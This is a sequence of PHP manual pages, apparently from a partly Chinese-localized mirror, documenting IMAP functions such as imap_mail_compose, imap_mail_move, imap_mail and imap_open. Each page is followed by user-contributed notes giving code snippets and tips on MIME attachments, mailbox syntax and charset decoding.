$envelope["from"]= "joe@example.com";
$envelope["to"]  = "foo@example.com";
$envelope["cc"]  = "bar@example.com";

$part1["type"] = TYPEMULTIPART;
$part1["subtype"] = "mixed";

$filename = "/tmp/imap.c.gz";
$fp = fopen($filename, "r");
$contents = fread($fp, filesize($filename));
fclose($fp);

$part2["type"] = TYPEAPPLICATION;
$part2["encoding"] = ENCBINARY;
$part2["subtype"] = "octet-stream";
$part2["description"] = basename($filename);
$part2["contents.data"] = $contents;

$part3["type"] = TYPETEXT;
$part3["subtype"] = "plain";
$part3["description"] = "description3";
$part3["contents.data"] = "contents.data3\n\n\n\t";

$body[1] = $part1;
$body[2] = $part2;
$body[3] = $part3;

echo nl2br(imap_mail_compose($envelope, $body));

?>

add a note add a note User Contributed Notes
hans at lintoo dot dk
26-Sep-2005 02:30
Here is a little something for attaching files... This is already documented in the manual, but my solution involves some changes. This is based on testing and suggestions from others notes on this page.
<?php
//snip
if (count($_FILES) > 0) {
   $multipart["type"] = TYPEMULTIPART;
   $multipart["subtype"] = "mixed";
   $body[] = $multipart; //add multipart stuff
}
//snip
$uploaddir = ini_get("upload_tmp_dir"); //Get tmp upload dir from PHP.ini
foreach ($_FILES as $fieldName => $file) {
   for ($i=0;$i < count($file['tmp_name']);$i++) {
       if (is_uploaded_file($file['tmp_name'][$i])) {
           $file_handle = fopen($file["tmp_name"][$i], "rb");
           $file_name = $file["name"][$i];
           $file_size = filesize($file["tmp_name"][$i]);

           $part["type"] = TYPEAPPLICATION;
           $part["encoding"] = ENCBASE64;
           $part["subtype"] = "octet-stream";
           $part["description"] = $file_name;
           $part['disposition.type'] = 'attachment';
           $part['disposition'] = array ('filename' => $file_name);
           $part['dparameters.filename'] = $file_name;
           $part['parameters.name'] = $file_name;
           $part["contents.data"] = base64_encode(fread($file_handle,$file_size));

           $body[] = $part;
           unlink($file["tmp_name"][$i]);
       }
   }
}
//snip
?>
hope someone can use this...
Regards, Hans @ http://lintoo.dk/
hans at lintoo dot dk
23-Sep-2005 09:29
I got a lot of problems with attachments (multipart emails) and the fix directly below this note.
instead just include it in the optional headers argument as previously suggested:

<?php
$mail = str_replace("\r","",imap_mail_compose($envelope, $body));
imap_mail($_POST["to"],$_POST["subject"],'',$mail);
?>
"Nothing like a fix on a fix".

If you want to copy the message to ie: a sent folder do:
<?php
//take note of the link: $this->mbox, and the constant: self::$imapStream
$envelope["to"]  = $_POST["to"]; //included with imap_mail
$envelope["subject"]  = $_POST["subject"]; //included with imap_mail
$mail = imap_mail_compose($envelope, $body); //note no problems with \r
imap_append($this->mbox,self::$imapStream."INBOX.Sent",$mail ,"\\Seen");
?>
See imap_append for more info.... Enjoy!
thomas dot hebinck at digionline dot de
07-Sep-2003 07:26
imap_mail_compose() uses \r\n at the end of each header (which is RFC conform) - but imap_mail() and mail() just use \n when adding their headers. So you get mixed up EOLs.

When your email client gets trouble finding the beginning of your body, try this (took me half a day):

$mail=imap_mail_compose($env,$body);
list($t_header,$t_body)=split("\r\n\r\n",$mail,2);
$t_header=str_replace("\r",'',$t_header);
$result=imap_mail($to,$subject,$t_body,$t_header);
thomas dot hebinck at digionline dot de
06-Sep-2003 08:28
It is a good idea to set the date header:
$envelope['date']=date('r');
thomas dot hebinck at digionline dot de
06-Sep-2003 08:26
imap_mail_compose modifies $envelope! Subsequent calls with the same $envelope may not work depending on the contents of the header. The best way (at least it works) I found, is:

$temp_env=unserialize(serialize($envelope));
$mail=imap_mail_compose($temp_env,$body);

(just $temp_env=$envelope does not work either)
as1 at powersite dot com dot ar
22-Apr-2003 02:49
How can I do if I have multi mime headers?
By example:

Content-Type: multipart/related;
                   type="multipart/alternative";
or:

Content-Type: multipart/mixed;
                   type="multipart/alternative";

or both methods: nested and multi mime headers:

Content-Type: multipart/mixed;
       boundary="147147"

--147147
Content-Type: multipart/related;
       type="multipart/alternative";
       boundary="247247"

These headers are used when you need attach files and
insert files in a body into mime mails.
Los Olvidados
24-Jan-2003 06:16
If you wish to send the output of this function, simply use it for the headers argument of imap_mail() or mail().  Keep in mind that those functions set the To: and Subject: headers, so including them in the envelope will create double entries.
derf dot m at reseaunix dot net
19-Jun-2002 12:25
class ImapCompose
{
   var $DATA;
   var $MIME;
   var $TYPE;
   var $BASENAME;

   function ImapCompose()
   {}

   function LECTURE_FICHIER($filename,$mime,$filetmp)
   {
       $filetmp = "/tmp/".$filetmp;
       $fp=fopen($filetmp,"r");
       $this->DATA    = fread($fp,filesize($filetmp));
       fclose($fp);
       //unlink($filetmp);

       $mime = explode("/",$mime);
       $this->BASENAME = basename($filename);
       $this->TYPE        = $mime[1];

       switch($mime[0])
       {
           case "image":
                       $this->MIME = TYPEIMAGE;
                       break;

           case "text":
                       $this->MIME = TYPETEXT;
                       break;

           case "audio":
                       $this->MIME = TYPEAUDIO;
                       break;

           case "autre":
           default:
                       $this->MIME = TYPEAPPLICATION;
                       break;
       }
   }

   function LECTURE_FILE_MAIL($file,$data,$mime,$type)
   {
       $this->BASENAME = $file;
       $this->MIME        = $mime;
       $this->DATA    = $data;
       $this->TYPE        = $type;
   }

   function ATTACHER_FICHIER()
   {
       $part["type"]        =$this->MIME."<br>";
       $part["encoding"]    =ENCBINARY."<br>";
       $part["subtype"]    =$this->TYPE."<br>";
       $part["description"]=$this->BASENAME."<br>";
       $part["contents.data"]=$this->DATA."<br>";
       return $part;
   }

   function ATTACHER_MSG($msg)
   {
       $part["type"]=TEXT;
       $part["subtype"]="plain";
       $part["description"]="message mode texte";
       $part["contents.data"]="$msg\n\n\n\t";

       return $part;
   }

   function ENVELLOPE_MAIL($from,$to,$cc,$sujet="")
   {
       $envelope["from"]=$from;
       $envelope["to"]=$to;
       $envelope["cc"]=$cc;

       if($sujet != "")
           $envelope["subject"]=$sujet;

       return $envelope;
   }

   function ENETE_MAIL()
   {
       $part["type"]=TYPEMULTIPART;
       $part["subtype"]="mixed";
       return $part;
   }
}
?>
prices at dflytech dot com
03-Feb-2002 04:32
In regards to my earlier note about "charset", this feature seems to have been added in the 4.1.X series  I have not actually checked 4.1.0, but it is in 4.1.1 and not it 4.0.6.
trionon at mail dot ru
29-Jan-2002 03:03
At least the following items in $part[] hashes are parsed:

type
encoding
charset
subtype
id
description
disposition.type
disposition
contents.data
lines
bytes
md5

Note: $part['disposition'] is a hash:

$part['disposition.type'] = 'attachment';
$part['disposition'] = array ('filename'=>'file.txt');

This will transform in such part header:

Content-disposition: attachment; filename="file.txt"
vlad ( at php dot net)
16-Jan-2002 10:18
... and the headers (elements of the envelope) are case-sensitive and are listed below:

remail
return_path
date
from
reply_to
in_reply_to
subject
to
cc
bcc
message_id
custom_headers

If you can't find a header you need in this list, you can use 'custom_headers'. It is just an array of lines to be appended to the header without any formatting, like this:

$envelope["custom_headers"] = Array("User-Agent: My Mail Client", "My-Header: My Value");

TODO: This should really migrate from a note to documentation
prices at dflytech dot com
08-Jan-2002 01:22
The documentation above does not mention that you can use the index ["charset"] to set the character set of the messsage part.

Example:

$part1["type"]= "TEXT";
$part1["subtype"]="PLAIN";
$part1["charset"] = "koi8-r";

to send a message in Russian-koi8.

Scott  =)
add a note add a note

后退 | 起点 | 前进
imap_lsub | 上一级 | imap_mail_copy


imap_mail_copy

(PHP 3, PHP 4, PHP 5)

imap_mail_copy -- Copy specified messages to a mailbox

Description

bool imap_mail_copy ( resource imap_stream, string msglist, string mbox [, int options] )

Copies mail messages specified by msglist to specified mailbox. 如果成功则返回 TRUE，失败则返回 FALSE。.

msglist is a range not just message numbers (as described in RFC2060).

options is a bitmask of one or more of

  • CP_UID - the sequence numbers contain UIDS

  • CP_MOVE - Delete the messages from the current mailbox after copying

See also imap_mail_move().

add a note add a note User Contributed Notes
fongming at fonn dot fongming dot idv dot tw
29-Aug-2004 06:42
when you list your mailbox,you have to decode the mailbox name, use imap_utf7_decode();

for example:
//----------------------------------------------------
$host="localhost";
$port=143;
$ht="{".$host.":".$port."/imap/notls}INBOX";
$mbox=imap_open($ht,$my_user,$my_pass)or die("can't open mail ");
$mail_list=imap_listmailbox($mbox,$ht,"*");
       sort($mail_list);
       foreach($mail_list as $k=>$v)
       {
       $v_list=explode("}",$v);
       echo imap_utf7_decode(str_replace("INBOX.","",$v_list[1]));
       echo "<BR>";
       }
marcus at names dot co dot uk
09-Jul-2002 01:51
If you are having problems getting imap_mail_copy and imap_mail_move to work, check you have installed imap_devel (the imap development libraries) as well as imap (the imap daemon). Without it, PHP appears to configure correctly --with-imap, but some functions do not work.

It took me about 12 hours to figure this out!!
hxlvt at hotmail dot com
05-Jan-2001 08:37
After much fooling around, imap_mail_copy did work for me. One thing you might want to check, if you are having problems, is the new mailbox name. Make sure it is just a folder name, e.g. INBOX.haha without the server part.
ian at showstar dot com
21-Jan-2000 10:38
The syntax for the message list is defined in RFC2060<br>
It is a string, containing a list of message numbers and ranges, separated by commas (no spaces anywhere.) For example, "1,2,5,11:15,19" would be accepted by imap_mail_copy or imap_mail_move.<br>
A range of messages is defined as two message numbers separated by a colon (Ex. "1:10".) Also, a "*" may be used to refer to the last message in a mailbox. (Ex. "1:*" refers to all messages)<br>
Be careful not to use the same mailbox for source and destination, especially if you expunge the mailbox immediately afterwards; the message will be copied (back over itself), flagged as deleted (by the imap_mail_move function), and then expunged.<br><br>
The following code will move the messages in the $msg_no[] array from the folder in $mbox_name to the folder in $newmbox_name: ($mbox is an already-opened imap stream)<br>
<pre>if ($mbox_name != $newmbox_name) {
  reset($msg_no);
  $messageset = implode (",",$msg_no);
  imap_mail_move($mbox,$messageset,$newmbox_name);
  imap_expunge($mbox);
}
</pre>
add a note add a note

后退 | 起点 | 前进
imap_mail_compose | 上一级 | imap_mail_move


imap_mail_move

(PHP 3, PHP 4, PHP 5)

imap_mail_move -- Move specified messages to a mailbox

Description

bool imap_mail_move ( resource imap_stream, string msglist, string mbox [, int options] )

Moves mail messages specified by msglist to specified mailbox mbox. 如果成功则返回 TRUE，失败则返回 FALSE。.

msglist is a range not just message numbers (as described in RFC2060).

options is a bitmask and may contain the single option:

  • CP_UID - the sequence numbers contain UIDS

See also imap_mail_copy().

add a note add a note User Contributed Notes
alex at bestgames dot ro
21-Nov-2005 05:36
After using imap_mail_move, imap_mail_copy or imap_delete it is necesary to call imap_expunge() function.
php at guardn dot de
10-Jul-2003 12:06
To move mails via IMAP on an Exchange Server into "Gelschte Objekte" use:

imap_mail_move($mbox, $delmsg, "Gel&APY-schte Objekte");

It took me some tcpdumping to get this out, since both
imap_utf7_encode and
imap_utf8

did not translate it right.

Guardn
dinter at gmx dot de
28-Jan-2003 02:18
I've used a dot in
imap_mail_move($mbox,$movmsgid,'INBOX.send');
instead of
INBOX/test
and it work's fine.
vlad (php.net)
05-Nov-2002 05:37
This keeps biting me time after time. A lot of IMAP servers with quotas don't implement 'move' right - they do a 'copy&delete' instead and don't recognize that this conflicts with their quota implementetions. So, if you try to move a large message, you'll exceed your quota even though moving it does not increase the total size of your mailbox. This is not PHP-specific, but I bet it'll bite someone else besides me, so here you go.
juuuugroid at yahoo dot com
17-Jul-2002 05:28
I had the most trouble with figureing out what the message list was supposed to be.  There was one comment by jan@showstar.com but i was still terribly confused.  So I searched and searched and searched.  I read rfc2060 over 10 times.  Then BAM!  My brother found it here:

http://www.cis.ohio-state.edu/cgi-bin/rfc/rfc2060.html#sec-6.4.7

Here is the importand stuff.

Another important field is the SEQUENCE, which identifies a set of messages by consecutive numbers from 1 to n where n is the number of messages in the mailbox.  A sequence may consist of a single number, a pair of numbers delimited by colon (equivalent to all numbers between those two numbers), or a list of single numbers or number pairs.  For example, the sequence 2,4:7,9,12:15 is equivalent to
   2,4,5,6,7,9,12,13,14,15 and identifies all those messages.

There is what I know about it.  BAM!
laurent dot penou at gadz dot org
18-Aug-2001 03:28
to complete the previous example, if the mbox/folders names are
{imap.free.fr}INBOX
{imap.free.fr}INBOX/draft
{imap.free.fr}INBOX/test

and you want to copy/move from INBOX to INBOX/test this is the syntax:

$mbox = imap_open("{imap.free.fr}INBOX",$mailuser,$mailpass)
     or die("can't connect: ".imap_last_error());
...
imap_mail_move($mbox,$messageset,"INBOX/test");

Hope this could help !
ian at showstar dot com
21-Jan-2000 10:41
<pre>The syntax for the message list is defined in RFC2060
It is a string, containing a list of message numbers and ranges, separated by commas (no spaces anywhere.) For example, "1,2,5,11:15,19" would be accepted by imap_mail_copy or imap_mail_move.
A range of messages is defined as two message numbers separated by a colon (Ex. "1:10".) Also, a "*" may be used to refer to the last message in a mailbox. (Ex. "1:*" refers to all messages)
Be careful not to use the same mailbox for source and destination, especially if you expunge the mailbox immediately afterwards; the message will be copied (back over itself), flagged as deleted (by the imap_mail_move function), and then expunged.

The following code will move the messages in the $msg_no[] array from the folder in $mbox_name to the folder in $newmbox_name: ($mbox is an already-opened imap stream)

if ($mbox_name != $newmbox_name) {
  reset($msg_no);
  $messageset = implode (",",$msg_no);
  imap_mail_move($mbox,$messageset,$newmbox_name);
  imap_expunge($mbox);
}
</pre>
portico dot nospam at neverwas dot net
11-Jan-2000 07:17
This function works, just not like everything else IMAP in PHP3... rather than feeding the server {server.ext/type:port}folder just feed it the folder's name.
matt at bonneau dot net
21-Dec-1999 07:49
This function copies the mail and then marks the source as deleted.  In order to see the changes, you must <PRE>imap_expunge</PRE> the source box.
add a note add a note

后退 | 起点 | 前进
imap_mail_copy | 上一级 | imap_mail


imap_mail

(PHP 3 >= 3.0.14, PHP 4, PHP 5)

imap_mail -- Send an email message

Description

bool imap_mail ( string to, string subject, string message [, string additional_headers [, string cc [, string bcc [, string rpath]]]] )

This function allows sending of emails with correct handling of Cc and Bcc receivers. 如果成功则返回 TRUE，失败则返回 FALSE。.

The parameters to, cc and bcc are all strings and are all parsed as rfc822 address lists.

The receivers specified in bcc will get the mail, but are excluded from the headers.

Use the rpath parameter to specify return path. This is useful when using PHP as a mail client for multiple users.

add a note add a note User Contributed Notes
uphonesimon at gmail dot com
23-Dec-2005 03:45
make sure you've correctly setup the SMTP parameters in php.ini
and aslo make sure that the SMTP server accepts relay

for some mail servers, you have to open up an imap stream, log in, and then you can send mail through imap_mail
nick at divbyzero dot com
13-Jul-2005 11:24
FYI, to finish your message post over telnet, enter a period (".") by itself as the last line of the post. Took me a while to google this so I thought I'd share. Then you can disconnect with 'quit'.
bandpay at hotmail dot com
05-Jan-2001 10:01
Extending the above note.
When the socket connection is stablished, it works exactly as if you had openned a telnet connection to the news server. If you don't know what kind of headers you have to send to the news server, then I'll suggest that you better give it a try and play with a telnet connection like this:

telenet news.servername.com 119

eaxmple:

telnet news.euroconnect.dk 119
Trying 195.184.44.30...
Connected to news.euroconnect.net (195.184.44.30).
Escape character is '^]'.
200 news.euroconnect.net (Typhoon v1.2.1)

then you'll receive confirmation from the server that you are connected. Now type "help" and enter, and you'll see what commands are supported.

eaxmle:

help
100 Legal Commands
  article [<messageid>|number]
  authinfo type value
  body [<messageid>|number]
  date
  group newsgroup
  head [<messageid>|number]
  help
  last
  list [active wildmat|active.times|counts wildmat]
  list [overview.fmt|newsgroups wildmat]
  listgroup newsgroup
  mode reader
  newgroups yyyymmdd hhmmss [GMT]
  newnews newsgroups yyyymmdd hhmmss [GMT]
  next
  post
  stat [<messageid>|number]
  xhdr field [range]
  xover [range]
  xpat field range pattern
  quit

If you want to post a message, you can start by entring the "post" command.

example:

post
340 Send Article to be Posted

From here you can start to enter the header information.
The most important headers are:
From:
Subject:
Newsgroup:

after the ":" a "white space" must follow.

If you are posting the multipart message then remember
MIME-Version: 1.0

This one is also one of the important headers when you are posting a multipart message. The boundary must follow the content type in the same line.

Content-Type: multipart/mixed; boundary="------------4A11A9ABCFCA70DD4E0C3605"

Take a look at the article below to find out more about headers and packing of the message.

http://www.phpbuilder.com/columns/kartic20000807.php3
bandpay at hotmail dot com
28-Dec-2000 10:01
If you need to send messages to a NNTP server, and you don't find the function, which is sufficient for this job, then use this.

$stream = fsockopen($server,$port, &$errno, &$errstr);
fwrite($stream, "POST\r\n");
fwrite($stream, "Newsgoups "$newsgroup."\n");
$fwrite ($stream, " What ever you need to write\n");
.........
fwrite($stream, "The rest of what you like to write\n");
fclose($stream);

There are ofcourse not so straight, but if you know which parameters your message needs, you can do it like this.

You can build up a message with imap_mail_compose ();

When you a complete message then U can write it to the server, and the server will take care of the time,  date, Massage-ID and so on, but you have to know the sturcture of the header which you make, and if you like to write a multipart message, then you better get to know it in details.

In case that you know a better way, please inform me.
Good luck.
mgsander at schaap dot dhs dot org
04-Dec-2000 02:09
You can change the From field in your message by specifying "From: blabla@yadayada.net" in the additional_headers field.
add a note add a note

后退 | 起点 | 前进
imap_mail_move | 上一级 | imap_mailboxmsginfo


imap_mailboxmsginfo

(PHP 3 >= 3.0.2, PHP 4, PHP 5)

imap_mailboxmsginfo -- Get information about the current mailbox

Description

object imap_mailboxmsginfo ( resource imap_stream )

Returns information about the current mailbox. Returns FALSE on failure.

The imap_mailboxmsginfo() function checks the current mailbox status on the server. It is similar to imap_status(), but will additionally sum up the size of all messages in the mailbox, which will take some additional time to execute. It returns the information in an object with following properties.

表格 1. Mailbox properties

Date | date of last change
Driver | driver
Mailbox | name of the mailbox
Nmsgs | number of messages
Recent | number of recent messages
Unread | number of unread messages
Deleted | number of deleted messages
Size | mailbox size

例子 1. imap_mailboxmsginfo() example

<?php

$mbox = imap_open("{your.imap.host}INBOX", "username", "password")
      or die("can't connect: " . imap_last_error());

$check = imap_mailboxmsginfo($mbox);

if ($check) {
    echo "Date: "     . $check->Date    . "<br />\n" ;
    echo "Driver: "   . $check->Driver  . "<br />\n" ;
    echo "Mailbox: "  . $check->Mailbox . "<br />\n" ;
    echo "Messages: " . $check->Nmsgs   . "<br />\n" ;
    echo "Recent: "   . $check->Recent  . "<br />\n" ;
    echo "Unread: "   . $check->Unread  . "<br />\n" ;
    echo "Deleted: "  . $check->Deleted . "<br />\n" ;
    echo "Size: "     . $check->Size    . "<br />\n" ;
} else {
    echo "imap_check() failed: " . imap_last_error() . "<br />\n";
}

imap_close($mbox);

?>

add a note add a note User Contributed Notes
Maxg
31-Aug-2004 05:41
About the slowness of imap_mailboxmsginfo() : if used on an IMAP connection, I did checked my mailserver logs and it appeared to send FETCH commands to retrieve the headers of EVERY messages of the mailbox ...
So, if you have, let's say, 400 messages in a folder, the function will be very slow (>1.5 sec on a local server !) ...

I strongly advise you to use imap_status() instead, which only sends one < STATUS "Mailbox/Name" (MESSAGES UNSEEN) > and is actually a lot faster (at least with IMAP, but that's maybe not true with POP3)
m at tacker dot org
12-Mar-2003 05:55
The runtime difference between imap_status and imap_mailboxmsginfo is very significant on large mailboxes

<?php

/** opening connection to a
   * mailbox with 3987 messages
   * and retrive status information **/
$mbox = imap_open ('{mail.somwhere.com:110}', $user, $password);

$mbox_info = imap_status($mbox, '{mail.somwhere.com:110}INBOX', SA_MESSAGES);
/** took 11.05 seconds **/

$mbox_info = imap_mailboxmsginfo($mbox);
/** took 6 minutes 5.382 seconds **/

?>
til_roque at yahoo dot com
04-Mar-2003 06:13
the 'recent' of this function returns the same as 'UIDvalidity' from imap_status() ... makes no sense (or dos it?)
js at jerntorget dot se, ej at jerntorget dot se
20-Sep-2002 10:29
then use imap_get_quotaroot().....

or use this one (works with qmail):
function get_quotaroot() {
if(!$socket = @fsockopen("your server", your port);
   return false;
fgets($socket, 1024);
fputs($socket, "a001 LOGIN ".$username." ".$password."\n");
fgets($socket, 1024);
fputs($socket, "a002 GETQUOTAROOT INBOX\n");
fgets($socket, 1024);
$result = fgets($socket, 1024);
fputs($socket, "a003 LOGOUT\n");
fgets($socket, 1024);
sscanf($result, '* QUOTA "ROOT" (STORAGE %d %d MESSAGE %d %d', $usedSize, $maxSize, $usedNum, $maxNum);
return array("usedSize" => $usedSize, "maxSize" => $maxSize, "usedNum" => $usedNum, "maxNum" => $maxNum);
}
stephane-wantiez at tiscalinet dot be
12-Aug-2002 04:13
imap_get_quota need you to be the admin of the mail server !
dolce at koulikov dot cc
13-Jan-2002 02:57
Don't lie... I've timed it, there is merely a time difference, besides it returns a lot of other useful info packed in an object!
whw at my169 dot com
04-Jan-2002 11:35
It is very slow,so don't use it to get mailbox size,used imap_get_quota instead.
add a note add a note

后退 | 起点 | 前进
imap_mail | 上一级 | imap_mime_header_decode


imap_mime_header_decode

(PHP 3 >= 3.0.17, PHP 4, PHP 5)

imap_mime_header_decode -- Decode MIME header elements

Description

array imap_mime_header_decode ( string text )

imap_mime_header_decode() function decodes MIME message header extensions that are non ASCII text (see RFC2047) The decoded elements are returned in an array of objects, where each object has two properties, "charset" and "text". If the element hasn't been encoded, and in other words is in plain US-ASCII,the "charset" property of that element is set to "default".

例子 1. imap_mime_header_decode() example

<?php
$text = "=?ISO-8859-1?Q?Keld_J=F8rn_Simonsen?= <keld@example.com>";

$elements = imap_mime_header_decode($text);
for ($i=0; $i<count($elements); $i++) {
    echo "Charset: {$elements[$i]->charset}\n";
    echo "Text: {$elements[$i]->text}\n\n";
}
?>

In the above example we would have two elements, whereas the first element had previously been encoded with ISO-8859-1, and the second element would be plain US-ASCII.

add a note add a note User Contributed Notes
hans at lintoo dot dk
22-Dec-2005 10:10
This is obvious, but nevertheless here is a "flat" version:
<?php
private function flatMimeDecode($string) {
   $array = imap_mime_header_decode($string);
   $str = "";
   foreach ($array as $key => $part) {
       $str .= $part->text;
   }
   return $str;
}
?>
cracker at bigcracker dot ca
22-Feb-2005 08:55
In response to Sven dot Dickert at planb dot de: if you encounter problems with "=?utf-8?Q?" appearing in your headers, I found that simply using "imap_utf8($string)" decoded the "$string" properly and solved my problem perfectly.
Pawel Tomicki <pafka at klub dot chip dot pl>
23-Apr-2004 02:04
<?php

function decode_iso88591($string){
  if (strpos(strtolower($string), '=?iso-8859-1') === false) {
   return $string;
  }
  $string = explode('?', $string);
  return strtolower($string[2]) == 'q' ? quoted_printable_decode($string[3]) : base64_decode($string[3]);
}

?>
mattias at forss dot se
27-Nov-2003 11:45
This function does not code a-z 0-9 like the function posted by bandpay at hotmail dot com

function encode_iso88591($string) {
   if( ereg("[^A-Za-z0-9\ ]", $string) ) {
       $text = "=?iso-8859-1?q?";
       for( $i = 0 ; $i < strlen($string) ; $i++ ) {
           if( ereg("[^A-Za-z0-9]", $string[$i]) ) {
               $text .= "=".dechex(ord($string[$i]));
           } else {
               $text .= $string[$i];
           }
       }
       return $text."?=";
   } else    return $string;
}
hdlim at kis21 dot com
02-Jan-2003 02:35
imap_mime_header_decode, utf-7 and utf-8 problem, i solved the problem using below function. note that iconv function for code converting.
you must replace "EUC-KR" as iconv parameter with charset you want such as "iso-8859-1".

function mime_decode($s) {
  $elements = imap_mime_header_decode($s);
  for($i = 0;$i < count($elements);$i++) {
   $charset = $elements[$i]->charset;
   $text =$elements[$i]->text;
   if(!strcasecmp($charset, "utf-8") ||
       !strcasecmp($charset, "utf-7"))
   {
     $text = iconv($charset, "EUC-KR", $text);
   }
   $decoded = $decoded . $text;
  }
  return $decoded;
}
Sven dot Dickert at planb dot de
16-May-2002 09:31
Beware! imap_mime_header_decode in 4.0.6 is _not_ RFC2047 conform. The string =?utf-7?Q?Petra_M+APw-ller?= will not converted into Petra Mller cause the charset utf7 is unknown.  Same goes to =?utf-8?Q?Petra_M=C3=BCller?= for charset utf8.
charsyam at liso dot cs dot pusan dot ac dot kr
13-Aug-2001 11:34
I wrote a simple ks_c_5601-1987(2byte)
encode

function encode_ksc5601( $string )
{
 $encode = base64_encode( $string );
 $text = "=?ks_c_5601-1987?B?";
 $text = $text.$encode."?=";
 return $text;
}
add a note add a note

后退 | 起点 | 前进
imap_mailboxmsginfo | 上一级 | imap_msgno


imap_msgno

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

imap_msgno -- This function returns the message sequence number for the given UID

Description

int imap_msgno ( resource imap_stream, int uid )

This function returns the message sequence number for the given uid. It is the inverse of imap_uid().

See also imap_uid().

add a note add a note User Contributed Notes
dcridland.at.redwire.com
03-Oct-2001 09:32
<p>Note that imap_msgno() doesn't ever give you an error message. So, assuming you're passing about message numbers as a UID, be warned that:</p>
<p>$msguid = false;<br>
$msgno = imap_msgno( $your_initialized_connection, $msguid );</p>
<p>Will leave ($msgno==1) - this is probably not what you want, and it's surprisingly easy to miss while you're doing the basic testing.</p>
add a note add a note

后退 | 起点 | 前进
imap_mime_header_decode | 上一级 | imap_num_msg


imap_num_msg

(PHP 3, PHP 4, PHP 5)

imap_num_msg -- Gives the number of messages in the current mailbox

Description

int imap_num_msg ( resource imap_stream )

Return the number of messages in the current mailbox.

See also: imap_num_recent() and imap_status().

add a note add a note User Contributed Notes
Oliver
14-Apr-2006 06:53
imap_num_msg($stream) does only return a correct result, if you did not append , delete, etc messages from the mailbox.

Otherwise you have to call imap_check($stream) to update the value for this function.
comlampe at aol dot com
09-Apr-2004 03:30
While imap_status sets "read"-Flag when used, imap_num_msg does not touch any flag.
add a note add a note

后退 | 起点 | 前进
imap_msgno | 上一级 | imap_num_recent


imap_num_recent

(PHP 3, PHP 4, PHP 5)

imap_num_recent -- Gives the number of recent messages in current mailbox

Description

int imap_num_recent ( resource imap_stream )

Returns the number of recent messages in the current mailbox.

See also: imap_num_msg() and imap_status().

add a note add a note User Contributed Notes
jhoglin at digital-elephant dot com
24-Sep-2003 06:25
If you would like to skip the update of recent messages use the OP_READONLY flag when you open to check for new messages.
dizzy at roedu dot net
05-Feb-2003 01:36
of course it doesnt. because "recent" does NOT mean "unseen" . they are different. for Maildir users, recent means messages found in the "new" subdir (which are moved to "cur" on the first opening of the Inbox). "unseen" are the messages you guys probably want (messages which have never been read).
rok at ipunkt dot biz
28-Aug-2002 05:10
The num_recent value does all the work it has to do. It returns only a number if the mail is not touched any time before.
stephane-wantiez at tiscalinet dot be
12-Aug-2002 01:13
Note that if you close your imap connexion, it seems that all the recents messages are no more recents...
So it's not very useful for a webmail...
add a note add a note

后退 | 起点 | 前进
imap_num_msg | 上一级 | imap_open


imap_open

(PHP 3, PHP 4, PHP 5)

imap_open -- Open an IMAP stream to a mailbox

Description

resource imap_open ( string mailbox, string username, string password [, int options] )

Returns an IMAP stream on success and FALSE on error. This function can also be used to open streams to POP3 and NNTP servers, but some functions and features are only available on IMAP servers.

A mailbox name consists of a server part and a mailbox path on this server. The special name INBOX stands for the current users personal mailbox. The server part, which is enclosed in '{' and '}', consists of the servers name or ip address, an optional port (prefixed by ':'), and an optional protocol specification (prefixed by '/'). The server part is mandatory in all mailbox parameters. Mailbox names that contain international characters besides those in the printable ASCII space have to be encoded with imap_utf7_encode().

All names which start with { are remote names, and are in the form "{" remote_system_name [":" port] [flags] "}" [mailbox_name] where:

  • remote_system_name - Internet domain name or bracketed IP address of server.

  • port - optional TCP port number, default is the default port for that service

  • flags - optional flags, see following table.

  • mailbox_name - remote mailbox name, default is INBOX

表格 1. Optional flags for names

Flag | Description
/service=service | mailbox access service, default is "imap"
/user=user | remote user name for login on the server
/authuser=user | remote authentication user; if specified this is the user name whose password is used (e.g. administrator)
/anonymous | remote access as anonymous user
/debug | record protocol telemetry in application's debug log
/secure | do not transmit a plaintext password over the network
/imap, /imap2, /imap2bis, /imap4, /imap4rev1 | equivalent to /service=imap
/pop3 | equivalent to /service=pop3
/nntp | equivalent to /service=nntp
/norsh | do not use rsh or ssh to establish a preauthenticated IMAP session
/ssl | use the Secure Socket Layer to encrypt the session
/validate-cert | validate certificates from TLS/SSL server (this is the default behavior)
/novalidate-cert | do not validate certificates from TLS/SSL server, needed if server uses self-signed certificates
/tls | force use of start-TLS to encrypt the session, and reject connection to servers that do not support it
/notls | do not do start-TLS to encrypt the session, even with servers that support it
/readonly | request read-only mailbox open (IMAP only; ignored on NNTP, and an error with SMTP and POP3)

The options are a bit mask with one or more of the following:

  • OP_READONLY - Open mailbox read-only

  • OP_ANONYMOUS - Don't use or update a .newsrc for news (NNTP only)

  • OP_HALFOPEN - For IMAP and NNTP names, open a connection but don't open a mailbox.

  • CL_EXPUNGE - Expunge mailbox automatically upon mailbox close (see also imap_delete() and imap_expunge())

  • OP_DEBUG - Debug protocol negotiations

  • OP_SHORTCACHE - Short (elt-only) caching

  • OP_SILENT - Don't pass up events (internal use)

  • OP_PROTOTYPE - Return driver prototype

  • OP_EXPUNGE - Silently expunge recycle stream

  • OP_SECURE - Don't do non-secure authentication

例子 1. Different use of imap_open()

<?php
// To connect to an IMAP server running on port 143 on the local machine,
// do the following:
$mbox = imap_open("{localhost:143}INBOX", "user_id", "password");

// To connect to a POP3 server on port 110 on the local server, use:
$mbox = imap_open ("{localhost:110/pop3}INBOX", "user_id", "password");

// To connect to an SSL IMAP or POP3 server, add /ssl after the protocol
// specification:
$mbox = imap_open ("{localhost:993/imap/ssl}INBOX", "user_id", "password");

// To connect to an SSL IMAP or POP3 server with a self-signed certificate,
// add /ssl/novalidate-cert after the protocol specification:
$mbox = imap_open ("{localhost:995/pop3/ssl/novalidate-cert}", "user_id", "password");

// To connect to an NNTP server on port 119 on the local server, use:
$nntp = imap_open ("{localhost:119/nntp}comp.test", "", "");
// To connect to a remote server replace "localhost" with the name or the
// IP address of the server you want to connect to.
?>

例子 2. imap_open() example

<?php
$mbox = imap_open("{your.imap.host:143}", "username", "password");

echo "<h1>Mailboxes</h1>\n";
$folders = imap_listmailbox($mbox, "{your.imap.host:143}", "*");

if ($folders == false) {
    echo "Call failed<br />\n";
} else {
    foreach ($folders as $val) {
        echo $val . "<br />\n";
    }
}

echo "<h1>Headers in INBOX</h1>\n";
$headers = imap_headers($mbox);

if ($headers == false) {
    echo "Call failed<br />\n";
} else {
    foreach ($headers as $val) {
        echo $val . "<br />\n";
    }
}

imap_close($mbox);
?>

add a note add a note User Contributed Notes
shaikh_zaid at yahoo dot com
05-Apr-2006 02:55
